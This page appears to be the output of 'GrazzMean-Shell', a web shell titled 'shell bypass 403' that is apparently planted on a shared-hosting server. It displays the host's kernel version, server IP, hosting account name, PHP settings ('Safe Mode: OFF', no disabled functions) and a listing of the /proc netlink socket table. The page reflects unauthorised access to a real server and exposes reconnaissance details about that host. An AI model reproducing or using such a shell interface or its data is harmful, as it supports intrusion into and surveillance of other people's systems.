shell bypass 403

GrazzMean-Shell Shell

: /proc/thread-self/net/ [ dr-xr-xr-x ]
Uname: Linux server105.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Software: LiteSpeed
PHP version: 7.4.33 [ PHP INFO ] PHP os: Linux
Server Ip: 68.65.120.251
Your Ip: 18.224.52.33
User: travtpib (6521) | Group: travtpib (6478)
Safe Mode: OFF
Disable Function:
NONE

name : netlink
sk               Eth Pid        Groups   Rmem     Wmem     Dump  Locks    Drops    Inode
0000000000000000 0   1807568    00020ff8 0        0        0     2        0        787482569
0000000000000000 0   0          00000000 0        0        0     2        0        3073    
0000000000000000 0   4054573    00000551 0        0        0     2        0        1955179391
0000000000000000 0   2193941523 00000000 0        0        0     2        0        1955179389
0000000000000000 0   2204378    00000110 0        0        0     2        0        801403681
0000000000000000 0   2870026285 00000000 0        0        0     2        0        1955179390
0000000000000000 4   0          00000000 0        0        0     2        0        22273   
0000000000000000 6   0          00000000 0        0        0     2        0        23565   
0000000000000000 7   0          00000000 0        0        0     2        0        23564   
0000000000000000 9   1          00000000 0        0        0     2        0        3778916221
0000000000000000 9   3125423991 00000000 0        0        0     2        0        516717735
0000000000000000 9   0          00000000 0        0        0     2        0        2060    
0000000000000000 9   2791015171 00000000 0        0        0     2        0        516717738
0000000000000000 9   3589743    00000000 0        0        0     2        20       516717733
0000000000000000 10  0          00000000 0        0        0     2        0        3       
0000000000000000 11  0          00000000 0        0        0     2        0        5121    
0000000000000000 12  0          00000000 0        0        0     2        0        20202   
0000000000000000 15  3588023    00000002 0        0        0     2        0        516710465
0000000000000000 15  3149498647 00000002 0        0        0     2        0        516710467
0000000000000000 15  2815919    00000002 0        0        0     2        0        1055875016
0000000000000000 15  3739962895 00000002 0        0        0     2        0        516710468
0000000000000000 15  3364233334 00000001 0        0        0     2        0        61905   
0000000000000000 15  0          00000000 0        0        0     2        0        2064    
0000000000000000 15  1          00000002 0        0        0     2        0        3778628625
0000000000000000 15  2356179634 00000002 0        0        0     2        0        516710466
0000000000000000 16  0          00000000 0        0        0     2        0        7169    
0000000000000000 18  0          00000000 0        0        0     2        0        5124    
0000000000000000 20  0          00000000 0        0        0     2        0        47661   
© 2025 GrazzMean-Shell